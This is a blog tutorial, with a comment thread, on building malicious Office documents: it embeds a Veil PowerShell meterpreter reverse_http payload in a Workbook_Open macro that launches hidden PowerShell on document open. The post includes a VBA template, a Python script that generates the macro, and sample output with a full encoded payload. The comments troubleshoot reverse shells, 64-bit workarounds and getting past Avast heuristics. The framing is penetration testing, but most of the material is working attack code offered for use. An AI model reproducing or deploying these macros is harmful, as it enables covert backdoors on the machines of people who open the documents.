So upon reading Backdoooring Office Documents , I wondered if I could achieve something with one of the Veil-framework Powershell payloads. The end goal being if we had a user on an assessment open and run our macro (which happens more than I would like to admit), we could have a memory resident backdoor that would not get flagged by AV.
1. Veil Payload
To start, we would ned to create a Veil (Veil install/documentation) Powershell payload. Upon opening Veil, we’ll just enter:
use powershell/VirtualAlloc generate
This will start the process for generating our specific Powershell payload. Veil allows for not only msfvenom payloads, but also custom shellcode. Here, we are going to simply use meterpreter/reverse_http. Oh and, in case you were wondering, Veil supports tab completion on the msfvenom payloads!
Once the shellcode is generated, we then name our output and take note of its location. Oh and move it to our Office machine 🙂
2. Office Macros
Now onto embedding the payload into an office document. Open Office, and head to the developer tab, and open the Visual Basic editor:
From here, open the payload.bat from Veil in a text editor, and copy the first section (x86) from the word powershell until the end of the first if statement:
We will need to create a new Subfunction, “Workbook_Open()”, create two new String objects, “exec” and “str”, and paste this as the string value for “exec” in the VBA pane.
Sub Workbook_open() Dim exec As String Dim str As String str = "" exec = "[entire string]"
Of course it complains, but this is okay since we will fix this by using string concatenation. Head to the string just after “FromBase64_decrypt” and cut the entire section in between the quotation marks. Insert this string as the “str” value.
str="[Value]"
The string is still too long! Ok, let’s split it in half and concatenate the string back together one line later:
str = "[Value A]" str = str + "[Value B]"
Now, we can call the variable “str” in between the the quotation marks:
Next, we need to properly escape all the quotations on the line by changing \” to \””. There are occurrences before “Invoke-Express”, and before and after the variable “str”. Finally, we place the entire thing into a Shell(). Our VBA editing is complete.
We could continue breaking up the strings and concatenating them back numerous times if need be to make things easy to read or fit into a blog! Below is a copy/paste friendly (read cleaner) template. Also considering how tedious this can be by hand, I wrote a python script, also below, that automates moving this into a vba-friendly output.
Template:
Sub Workbook_Open() Dim exec As String Dim str As String str = "[half payload value]" str = str + "[half payload value]" exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command" exec = exec + " ""Invoke-Expression $(New-Object IO.StreamReader " exec = exec + "($(New-Object IO.Compression.DeflateStream " exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]" exec = exec + "::FromBase64String(\"" " & payload & " \""))))," exec = exec + "[IO.Compression.CompressionMode]::Decompress))," exec = exec + "[Text.Encoding]::ASCII)).ReadToEnd();"" " Shell(exec)
Macro_safe.py: (google drive download here) (new github link here, part of the MacroShop repository)
#!/usr/bin/python ##### # macro_safe.py ##### # # Takes Veil powershell batch file and outputs into a text document # macro safe text for straight copy/paste. # import os, sys import re def formStr(varstr, instr): holder = [] str1 = '' str2 = '' str1 = varstr + ' = "' + instr[:54] + '"' for i in xrange(54, len(instr), 48): holder.append(varstr + ' = '+ varstr +' + "'+instr[i:i+48]) str2 = '"\r\n'.join(holder) str2 = str2 + "\"" str1 = str1 + "\r\n"+str2 return str1 if len(sys.argv) < 2: print "----------------------\n" print " Macro Safe\n" print "----------------------\n" print "\n" print "Takes Veil batch output and turns into macro safe text\n" print "\n" print "USAGE: " + sys.argv[0] + " <input batch> <output text>\n" print "\n" else: fname = sys.argv[1] f = open(fname) lines = f.readlines() f.close() cut = [] for line in lines: #split on else to truncate the back half first = line.split('else') # split on \" cut = first[0].split('\\"', 4) #get rid of everything before powershell cut[0] = cut[0].split('%==x86')[1] cut[0] = cut[0][2:] #get rid of trailing parenthesis cut[2] = cut[2].strip(" ") cut[2] = cut[2][:-1] # for i in range(0,3): # print str(i) + " " +cut[i] top = "Sub Workbook_Open()\r\n" top = top + "Dim str As String\r\n" top = top + "Dim exec As String\r\n" #insert '\r\n' and 'str = str +' every 48 chars after the first 54. payL = formStr("str", str(cut[1])) #double up double quotes, add the rest of the exec string idx = cut[0].index('"') cut[0] = cut[0][:idx] + '"' + cut[0][idx:] cut[0] = cut[0] + "\\\"\" \" & str & \" \\\"\" " + cut[2] +"\"" #insert 'exec = exec +' and '\r\n' every 48 after the first 54. execStr = formStr("exec", str(cut[0])) shell = "Shell(exec)" bottom = "End Sub\r\n\r\n\'---Generated by macro_safe.py by khr040sh---" final = '' final = top + "\r\n" + payL + "\r\n\r\n" + execStr + "\r\n\r\n" + shell + "\r\n\r\n" + bottom + "\r\n" print final try: f = open(sys.argv[2],'w') f.write(final) # python will convert \n to os.linesep f.close() except: print "Error writing file.\n Please check permissions and try again.\nExiting..." sys.exit(1) print "File written to " + sys.argv[2] + " !"
Sample output from python code:
Sub Workbook_Open() Dim str As String Dim exec As String str = "nVZNj+M2DL3nVwiBDwkmnsrf9gQD7LSLBRYoigIzaA9BsJBleWKsYw" str = str + "e2vJuZtv+94kvo6XYvRS+0RVHk4yNNy9PiXrxbLnbv2/bj8d" str = str + "QPdrX8bIbOtFF4W7Xtcr0Xp6lsGy1Gq6x7mLN1++JjZ3+1g/" str = str + "itGeyk2oe27fXqqvu6EVPTWXG+Pl+uz9f19n/H+Wkwypqng3" str = str + "tUHGe6+v2yEW+Rr2//iH3V/Dv6cfyiB/tfYh/NcTR29b3nOa" str = str + "vlu4XXOyIfqsp/ejkZ4bszpRnem7rpGtv0nfC08H9RRyOWvz" str = str + "ddFC6F37nVeFLaCGg+TJ0my1H4JzWO9jBMC+987/V3d9+QLD" str = str + "fyHEhJj+jyiOV6K3Y/vliz2++9kSrai4dBH8RoWqOtqTbXt6" str = str + "Z7xsadOOepqIf+KOzBiJN6aXtVLT70U1eJMBS6P54cEWVrhO" str = str + "l0X5lhXDxYa44nuLD9Vc0nxdfGHkQgGkebuiTR1xTjh/HQfF" str = str + "ZWfXpWnzrVLL5XiXHS2pjKXJ2MzasRUZKK1ezsXq4XUzc2z5" str = str + "0z0gc1iHKqd3uXpku+Kp3QtROlcqJOnUhCIod0YU4mhRNZTE" str = str + "sSNYnE0JI2NIkyIF3kRE5CkxdJdhE2aBnQUka8NBSjJPo1xa" str = str + "3iWUcmUULuSdQhgyw1GeNExHGxkVOMjERFqBRh1uQvI5MCXi" str = str + "oS5EAqPgb0cF+WjEqSSUTGEb0lGTmgkAW5r8l9TcdS2jUgJ2" str = str + "SGYjoWErSQjgWAVjBXmnQx7EJmIyNoGe0a2k3JXwy4CaPKkD" str = str + "R5NgRcGtYhGVAiEw6J9FE3kIN6IIUk57MJqkpvFe0aVLXkCo" str = str + "J2COzmciZRMYKw4mZAtcI5yzRjmuKMjQMSiuyKiHdRQcCVKT" str = str + "dIHjLPcAoTeInJJEXN0XCaa3RJYe4XjbhABQ5yzi1XDC1T3D" str = str + "lydlWRXQqkFCinZV4z3DjnVFPSRWgQIAUq2ohrrip6A1UFf8" str = str + "gNOpCow9kzBk/BxAJpKLnIipCW9Uwi+SsKjoZlEjPjlyLDC8" str = str + "ENcBb+Yj5R5Ex7nnBcSYGCgikxtCznBkZzBWgGxcdQhRhfcs" str = str + "j8oc2Q4BsRqPnFhIzxdYNYUJKQMCAWb7RRGm4pREOfXqYKTA" str = str + "CS7IqQT+DDBr6czsp8Ro8CaE4LcdFmmC8JnSjQNIQU0wKAYn" str = str + "z7ilFV5CDFeFBMLGbEBXjM6SsIpEXGKp53aRmTFwwekIMeyu" str = str + "a5VmGWKE4fmZuEdZiEeMsrfkOX1CXXCGy86VDQlHRoZfRuRf" str = str + "4whpFvnnLN8WEDCwZUmXDJCoqrS+bqApyWmPcKHZFxtQpMH8" str = str + "y6gOuGZEAnug7DqMYwwgCtGFER4zkMuciYjphNaDOFWQcEGS" str = str + "Mo35gkHeZGmnD18fMKIkYA6pARSnspPNmZfLuo+0GsvOZebr" str = str + "1G+O4fvXI//dufTfdsD36wdtqbm7X4g24O16vL7nJ32a+88+" str = str + "1T7xZRuFrfeM16I9zRndfsNyJYiz9FP1m/m9p2+9fCe8Xd56" str = str + "uLlyNi45039KA7x6NVg/UfW2NOwn80une3B7qaSPk3" exec = "powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Comm" exec = exec + "and ""Invoke-Expression $(New-Object IO.StreamRe" exec = exec + "ader ($(New-Object IO.Compression.DeflateStream " exec = exec + "($(New-Object IO.MemoryStream (,$([Convert]::Fro" exec = exec + "mBase64String(\"" " & str & " \"" )))), [IO.Comp" exec = exec + "ression.CompressionMode]::Decompress)), [Text.En" exec = exec + "coding]::ASCII)).ReadToEnd();""" Shell(exec) End Sub '---Generated by macro_safe.py by khr040sh---
[EDITED: UPDATED python link]
Pingback: MOF-tastic tricks or how to use MOF and powershell together | khr@sh#: echo $GREETING
Hi great article! I have a question though. How do specify the .bat file macro_save.py should read in order to convert it? Do you run macro_save.py in the same directory where the .bat file is located?
Looking forward to hearing from you.
Kind regards
It is the first command line argument. You could use full path if need be, i.e. if you are trying to run it from /tmp/scripts/ input something such as: “python macros_safe.py /tmp/scripts/test.bat /var/www/output.txt”.
Or you can simply copy the batch to local directory, either will work 🙂
Hi & thanks for your reply!
When I use the following setup I receive an error on line 20:
root@kali:~/macro-test# python macro_safe.py powershell-443-test.bat test.txt
File “macro_safe.py”, line 20
holder.append(varstr + ‘ = ‘+ varstr +’ + “‘+instr[i:i+48])
^
IndentationError: expected an indented block
All files are within the same directory and the .bat file i’m using includes the following:
——————————————————————————————————————————-
(powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command “Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\”nVZNi+NGEL37VzRGB5uxhta3tGZgN1kCCyEEZtg9GB9a6lZGRJaNLG88m+S/R+/Jpckkl5BLS91d/epV1auWvEo9qPfLxe5j2346nI79sFr+6vrOtVF4b9t2ud6r06Vsm0qdBzOMD3cdxn31qRt+Hnr1uemHi2kXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXb+R56iW7xfecUzkB2v9p5eTU/54pnT9R1c3XTM0x055lfJ/Mgenll+aLgqXyu/G2flkKqe48sOlq2B5Vv7JnM/Dc39ZeNcH7/ju3Zsk642+BlrjEU2PWK+3avfdy+B2+713RkX11RbjTlWPQ2nGwToYhjhUjUPNNZhk8TiEGGoMiYVJgLPYLfGW5LKWJHCOszp6M80xdThbA97BUVgCAH4tkDNsWNhFYBXirCMouWAIYBfXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX7CbOoBpSqTIMZmmkjAqMYS3rJaM61AYaMoiFXg2DrVBWZCQmbVGSVFwTGKMjZwBOqkbpaeh2BxDjGkKvAJRRpnAWy1RsnsqELKplILyZinyVLSRUz7UBnZdKfUgDYq1KAWUOZiuETJgcghVSByUMtuPOjWhpClAMCX4acIzdbx9jORlMs4l1IRaC+YQSqkRW6Nkp9QCyikTxtim64vXXCaxkQFlwSKz/WKQdGxJ7hIeJrwdeTNQjqTGvLDILGgBkxhvvH34NvVqItk18yVDGuyyMprzzBox8khOcIMFreaOShAlL8YMuXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXeXpAnVSRqIwByy3mxXLVuOlShVTESwK4U0sxNkLhtKjCHEsYp8ziXwLJe1cs3NLTt+ZUirIt+lKmz8sFCbzHFM0VoREqCLbLupjr1Ze86C3XqP81o2Tc3X/o+t+GZ79YD2u3t2t1e/4ft9+IHbTH8R+5V3vn47jJApX6zuvWW/UeHTnNfuNCtbqD3W8DH53advtnwvvG/8A3vz+jEw33nWDB778j4PpB/+xde6k/EdXHTur8IOg9V8=\”)))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();”)
————————————————————————————————————————————–
As you kan see i’m runnig the below Kali version:
Linux version 3.7-trunk-amd64 (debian-kernel@lists.debian.org) (gcc version 4.7.2 (Debian 4.7.2-5) ) #1 SMP Debian 3.7.2-0+kali8
Thanks!
It is due to the formatting of the python script. Python is really finicky about indentions and such, and when I published this, some of the identions were lost. Try to grab this copy instead, this should run:
https://drive.google.com/file/d/0BzjR2sIPqAMpN2hyRmJFUWVhY0U/view?usp=sharing
I am getting this error….could you please help? Btw thanks for a great article and script –
Traceback (most recent call last):
File “macro_safe.py”, line 53, in
cut[0] = cut[0].split(‘%==x86’)[1]
IndexError: list index out of range
Traceback (most recent call last):
File “test.py”, line 53, in
cut[0] = cut[0].split(‘%==x86’)[1]
IndexError: list index out of range
Since you both are getting the same error, I wonder if the veil powershell batch output has changed. Would either of you mind posting your syntax and maybe a copy of your bat file you are using? I could engineer a quick fix if that is the case.
Thanks… yes the output has changed and as far I remember there is just one addition at the beginning of the output – “echo off” if i am not wrong
I removed it and the script gave the perfect output
Thank you for your feedback, I’ll update the python and re-post it here.
Sorry…I didnt had access to the script when I replied….here is the beginning of the bat file –
@echo off
if %PROCESSOR_ARCHITECTURE%==x86
Hey !
Great blog, and this how to is a good idea. As the python script seems to not be updated (as people already mentioned) i tried to do it manually. I did not manage to get any shell back. I double check each steps of the how to with no success. Did somebody already manage to get a shell back?
Thanks khr0x40sh for the great blog, many juicy idea and hours of interresting readings.
If you remove the first line @echo off from the batch, it works. As far as not receiving a shell back, are you seeing any errors? What version of Office did you try this with? I’ll try to get an updated python script out today.
Hi Khr0x40sh,
You are right, removing the first line do the trick. As i have the same output that the manually one, with no effort at all now (great thanks), i do not have any shell back. I tested it with W7 running office 2013 and W8 Office 2010.
I used a Veil/powershell/shellcode_inject/virtual waiting for a shell in msf or armitage. No message at all, thé document open and that ‘ s it.
Macros are disabled by default in Office 2010. You will have run them manually or change the security settings to run them automatically. There must be other options as well that I am not aware of.
Hey Faiz,
It is not coming from an “enable” issue. I run the macros manually. Did it works for you and what is your own config please?
Also, here is the updated python to ignore the “@echo off” line automatically:
https://drive.google.com/file/d/0BzjR2sIPqAMpLXRYbThHZy1pQms/view?usp=sharing
I have also updated the link in the post 🙂
Hi Khr0x40sh,
thanks in the name of everybody for updating the script. Great jewel. 🙂
Still got the same issue, no shell back. As everybody seems to be ok with your work, it probably comes from me. Ips & ports are good, macro is enable. I’m running kali on an usb live testing W7 in a remote machine. I manage to have shell back with Veil payloads not embeded in macros. Do you have any idea of what i should fix ? Thanks for script, blog and help 🙂
After you launch the macro (or run it manually), does powershell.exe show up in taskmgr or process explorer? Do you have TcpView? If so, do you see powershell attempting to open a socket? If powershell doesn’t show up in either of the above, then it would appear your macro is not launching powershell.
Are you on a 64 bit machine by chance? I remember having some issues with the x86 payload not working on some of the x64 bit machines. If that is the case, the python above would not create the correct macro for the environment. Run the batch by itself and see what environment it returns (x86 or x64)
Yes 64bit, this should probably come from there. Taskmgr shows me well opening the file but not the powershell.exe process.
I however succeeds once or twice to obtain a shell.
I also noticed that Avast catched the action silently, not at launch but rather in an heuristic way (the file passes the examination of the AV, but fails during the action). If you have any suggestions to get through those 2 walls… 🙂
Thanks a lot for your answers.
What does Avast report? If you disable Avast, does powershell actually show in taskmgr? Also, I would suggest using the Windows Sysinternals tools TcpView and processExplorer to troubleshoot these things. Download link here: http://technet.microsoft.com/en-us/sysinternals/bb545021.aspx
Hello khr0x40sh,
did you find a way, and if it is yes how, to include veil’s payload in macros targeting 64 bit system.?
I believe it is possible by using the x64 meterpreter ( windows/x64/meterpreter/… ) payloads and just using the section after the else statement. I will actually test that and get back to you.
I am still working with the x64 meterpreter and not receiving anything back. To get it to run a 32-bit powershell on 64, you could use the %windir%\syswow64\windowspowershell\v1.0\powershell.exe in the exec line in place of just powershell. I think the Veil framework (as of version 2.9.1) may be not be able to properly inject 64-bit shellcode into its powershell template-this is just the theory based upon seeing win32 passthru in the template. I’ll keep on digging.
It will be great thanks!
thank you very much for this post!
did you found a way to get it working on a x64 system?
To get it to run a 32-bit powershell on 64 I tried to use %windir%\syswow64\windowspowershell\v1.0\powershell.exe in place of just powershell as u said above BUT i think you have to use also the whole second part of the .bat file insted of the first part that the python script uses!
cound you help me modify the script or provide one that does the above?(not an expert in bash scripting 😦 )
i think this will help other people too, to get this idea functional!
thanks in advance for your time
There are a few tricks to do so. One, we could actually modify the template that gets encoded to launch the shellcode by checking to see if it 64-bit, and then call itself using the 32-bit powershell, a la the reverse of : http://www.cosmonautdreams.com/2013/09/03/Getting-Powershell-to-run-in-64-bit.html . You should be right about using the second half of the batch, although I am almost certain they are identical (I’ll do a diff to confirm). Anyways, let me test some things out and get back to you.
I was never able to get 64-bit meterpreter to run via the Veil powershell payload in version 2.9.1, but I am fairly certain you can get 32-bit to run on 64-bit.
that is what i am going for!(32-bit meterpreter on 64-bit system)
Even if i implement this ‘smart’ script to change the powershell to 32-bit
it isn’t going to work if i dont have the right shellcode in place.
Am i wrong?
did you verified that both parts are identical?
thanks again
Both base64 sections should be identical since it should just be the exact same code. But I verified this anyways as seen in the copy/paste below:
“root@Awesomeness64:~# diff -s veil-output/source/part1.64 veil-output/source/part2.64
Files veil-output/source/part1.64 and veil-output/source/part2.64 are identical
root@Awesomeness64:~# cat veil-output/source/part1.64
nVTbbttIDH33VxDCLCAhliJfNhcLAZo6zda7dZrGadJdw1iMJdqaejSjjEaJHNf/XsrROunrvmhEisNzSB6KPcAZvHNa0wspR1mujXWdFRqFstcNEikdbwZ5OZcihsJySwdWlr7DSNlra+BOGFtyeS6ljt3GJ/PzJDFYFG0ohbKQPE3EMzbG4iWWUml1u85f3ddGW4ytF/1vLkOD3OJtSkfyyuXFPrfWiHlp8Q0py+PVC7N9MPmM3bPfu6+54RkS1v7yDotKuJR8+TbyBW2UUBnOu5Y16w1LqMPO+fvhxYfLPz6O/vzr0/jq8/WXm8nt17v7b3//w+dxgotlKr6vZKZ0/mAKWz4+VevnsNPt9X8/Oj45dYJbPUy5OTeGr12vtShVXKND7LJHbwMGbUl9cN0psZvOZsAef70BP2CMvCgN+p/n36nN4E/KzAvoAb9BWHXCEHx8gNOut33NbmHDFjV7J+oEQe/HQlNxcerrXQr6dnAGLJm6S7S+4SrRGfgZr0RGWVkSfEK1tKk320YNP7aI3mRH2EBudEyths2U10RnrCI4ehwA+3cbAaqEKFTEviA1NLiwcRU+/Wfc7HC9QJEWXG+7fQOw3AAxBpeJszBiAnxp4ahPbwcH3oalhGQjtqoBE0LACKApkK5IEMR3RXFFHZDWjGQEYgEu9bzwPNh3nSIItjGc08dvXx0qc3qFNpigeRQxXmsay5grvkQzGwxqL5ohGisWgjYB77gUyU5OQy7lnGRJmBtmTYnbiGVkXFHBzeAm68JiFtTp73E+lAKVjVosCz6S8NAUAcnXdcoCjU94yjptcMb6WUjJD/tBSPx1lhPYXFLF48noAxwFnQjuBfXxqYCrW8/xIqYIdBnB9P3a4k5Qed2GLLjQT0pqnlxwy10ntTYvBoeHneNu0O0EnVNK1T0enPT7vUOmHPBaTNM9YuTXu07qwGyO5gIXQondjNgD+Fe0W+AQgV7XAV+RVeQ8Rth5LptpFuDnvChsasoWq86YHgx++feEbZY3imuHVS8MQzr6oRdNm4bdlMqKDANaVTQ6b0ZTBGNuipRLmstQ52uX5W0I2zB92eiZyyraJDJ6Xdfz2rAHqUujK29/OYTYZlW7PsJ643RpfVVKks3ut+JPJGJOi4exJl2fHPXDcEvjj9PN9ic=”
So it may be an issue of escaping the %windir% environment variable. If you replace %windir% with C:\Windows\SysWOW64\ (if that is your windir on your test box), does it work? If so, maybe you can call a stub powershell that runs either 32 or 64 to dump the architecture first and then then the windir if 64 bit.
Something like below should work. Just use the below template in place of exec on the current macro. I’ll be updating macro_safe.py very shortly to add in these changes, but this should execute 32-bit shellcode using 32-bit powershell on both 32 and 64-bit architectures.
And as promised, updated version of macro_safe.py here: https://drive.google.com/file/d/0BzjR2sIPqAMpOEdfV0lSNV9YeXc/view?usp=sharing
wow
i have not tested your script yet and i will once i got the time but thank u for your time kind stranger!
i actually got this idea to work a couple of weeks ago without placing the shellcode inside the word file !
(this way : http://tipstrickshack.blogspot.gr/2014/01/deliver-powershell-payload-using-macro.html )
anyway , i think office docs give alot of warnings when it comes to running macro ..
i was trying to find a way to force the user to run them, something like , hiding the content of the file until macro are enabled maybe…
have a nice day 🙂
Kahu Security has posted analysis of a malicious doc something very similar to your request –
http://www.kahusecurity.com/2015/malicious-word-macro-caught-using-sneaky-trick/
Awesome work, but I ran into some issues.
I tried using your latest python script which attempts to open powershell, but then powershell crashes: https://drive.google.com/file/d/0BzjR2sIPqAMpOEdfV0lSNV9YeXc/view?usp=sharing
What did work is using your first script and replacing powershell with:
c:\syswow64\windowspowershell\v1.0\powershell.exe
When I tried to use an environment variable of %windir%, it failed to execute. The above method will work if the user is operating from the root of c:\. But it will not work otherwise.
Were you able to get your last script to work reliably? Thanks again.
I’ll look into it. It was working on my tests on windows 7 x64. What is your architecture and operating system?
Still works on my tests. What are the parameters you are feeding Veil? Are you starting your listener before opening the office document? have you restarted your listener lately? I have found occasionally if the handler has been running a bit too long that it will cause future connections to either fail or error out, and I am not sure the powershell meterpreter can handle those errors properly.
Also if you interested in this post, you should check out some of the client-side exploitation in Nishang (https://github.com/samratashok/nishang) . The Out-Excel command basically achieves the same thing as what I am trying to do here 🙂
Sorry for the typo above, I meant to put c:\windows\syswow64\…. Anyway, my test system is also Windows 7 x64. I figured out what is causing the crash:
It is the very first call to powershell.exe (before the architecture detection):
exec = “powershell.exe -NoP -NonI -W Hidden -Exec Bypass $arch”
The rest of the detection and script works fine when I change the call to powershell to:
exec = “c:\windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass $arch”
Just a suggestion, but maybe we can detect architecture via VBA to prevent the first call to powershell:
MsgBox Environ(“PROCESSOR_ARCHITECTURE”)
yields AMD64 for me.
That is very strange as it shouldn’t matter whether the 32-bit or 64-bit powershell is called first. Hmm…
This seems to work reliably… It basically shifts the environment and root drive detection to vba instead of powershell. I wonder if 64 bit architecture can show up as anything other than “AMD64”. 😐 Could maybe implement a search.
Dim Command As String
Arch = Environ(“PROCESSOR_ARCHITECTURE”)
windir = Environ(“windir”)
If Arch = “AMD64” Then
Command = windir + “\syswow64\windowspowershell\v1.0\powershell.exe”
Else
Command = “powershell.exe”
End If
— snip —
exec = Command + ” -NoP -NonI -W Hidden -Exec Bypass -Comm”
exec = exec + “and “”Invoke-Expression $(New-Object IO.StreamRe”
exec = exec + “ader ($(New-Object IO.Compression.DeflateStream ”
exec = exec + “($(New-Object IO.MemoryStream (,$([Convert]::Fro”
exec = exec + “mBase64String(\”” ” & str & ” \”” )))), [IO.Comp”
exec = exec + “ression.CompressionMode]::Decompress)), [Text.En”
exec = exec + “coding]::ASCII)).ReadToEnd();”””
Pingback: Bypass Antivirus | www.ipworkx.nl
the code works in 2013 but not in 2010 as I do for work?
Are you using office 32-bit or 64-bit? Also, apparently there is a potential issue detecting the right architecture. Let me incorporate some of the changes suggested by “T” above and see if that is more reliable.
Try using the updated version here: https://github.com/khr0x40sh/MacroShop, the file macro_safe.py. Let me know if that helps, if not, I’ll see if I can track down a copy of Office 2k10 and see what’s up.
Pingback: Defensive Cyber Operations: Ground Zeroes | SealingTech
Pingback: November 2015 V-Day - Veil - Framework
Hi, very useful. I’m wondering if it would be possible to have the LHOST variable of the meterpreter session populated from a property of the word document ?
thanks!
As in to run at runtime? Or as in to pull to create the Veil payload for the macro? I’m not sure how that could be done, unless Veil allows command-line arguments. A suggestion I would have is to use a DNS name for LHOST. I would suggest taking a look at https://www.veil-framework.com as they have incorporated a more integrated solution in their latest releases.
Ιncredible points. Sound arguments. Keep ᥙp the good effort.
Pingback: November 2015 V-Day – #OpIcarus
Hi,
It’s a great post. For learning purposes i tried using exeinvba.py script which has generated the vb code. when I try embedding this code into my macro in a word document, the same doesn’t get saved with an error disk is full. Btw, i was passing calc.exe to the script and the size of calc.exe is 800 KB. Any suggestions on where i might be doing it wrong.
Thanks again for such an awesome post !!
Thanks
I’ve never seen that before. What version of Office are you using? What O/S? I haven’t toyed with win10 and anything above Office 2013, so I don’t know how they react. Do you have a copy of the syntax and macro you used? Like a pastebin link?
same condition with me, exeinvba.py output for more then 64 kb .exe files not working on work and excel.
HI Khr0x4sh do you have some chat to send me?
Sure, pm me at twitter: @khr0x40sh 🙂